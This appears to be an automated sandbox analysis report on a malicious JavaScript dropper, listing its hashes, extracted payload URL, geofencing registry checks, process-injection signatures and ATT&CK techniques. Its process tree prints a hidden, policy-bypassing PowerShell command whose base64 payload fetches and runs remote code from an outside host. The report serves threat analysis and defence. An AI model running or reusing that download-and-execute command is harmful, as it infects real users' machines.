1ad3d657fed89e26d6f54e2d67e95796c096deb76fd2f09972ac63ff9704891f

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
21/04/2024, 12:47

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General

Target

ff4ee1fcd30340236715b83c3bf8db5d_JaffaCakes118.js
Size

390KB
MD5

ff4ee1fcd30340236715b83c3bf8db5d
SHA1

a4f8d3f3f6a934560cf9008d0171d020da775965
SHA256

1ad3d657fed89e26d6f54e2d67e95796c096deb76fd2f09972ac63ff9704891f
SHA512

cd400ad4025ffaa37114069152f253d8e775fe053df8beb69e1a7896171fbc56e3c0966130e78a2916cd3105cb1edff0b7551ae91e7f2a2660ee140408e1da9b
SSDEEP

6144:gP3Lu3x6Yg/q1AYF6EvRbADym7zsMc6hJr0GXXdaP5+5LRPsUDu4RSflDwUfplMu:gPbmxiq1AYF6E62VBElkuNgfZLMen

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://erzurum.us/65376345273497600381/tjTyjrjywrdmJoaaenvF/dll/assistant.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
24	4720	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4720	powershell.exe
4720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4720	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 820 wrote to memory of 2708	820	wscript.exe	89
PID 820 wrote to memory of 2708	820	wscript.exe	89
PID 2708 wrote to memory of 4720	2708	cmd.exe	91
PID 2708 wrote to memory of 4720	2708	cmd.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ff4ee1fcd30340236715b83c3bf8db5d_JaffaCakes118.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fkjcbbh3.tw1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4720-1-0x00000158E20C0000-0x00000158E20E2000-memory.dmp

Filesize
136KB

Download
memory/4720-11-0x00007FFF00720000-0x00007FFF011E1000-memory.dmp

Filesize
10.8MB

Download
memory/4720-12-0x00000158C6250000-0x00000158C6260000-memory.dmp

Filesize
64KB

Download
memory/4720-13-0x00000158C6250000-0x00000158C6260000-memory.dmp

Filesize
64KB

Download
memory/4720-14-0x00000158C6250000-0x00000158C6260000-memory.dmp

Filesize
64KB

Download
memory/4720-17-0x00007FFF00720000-0x00007FFF011E1000-memory.dmp

Filesize
10.8MB

Download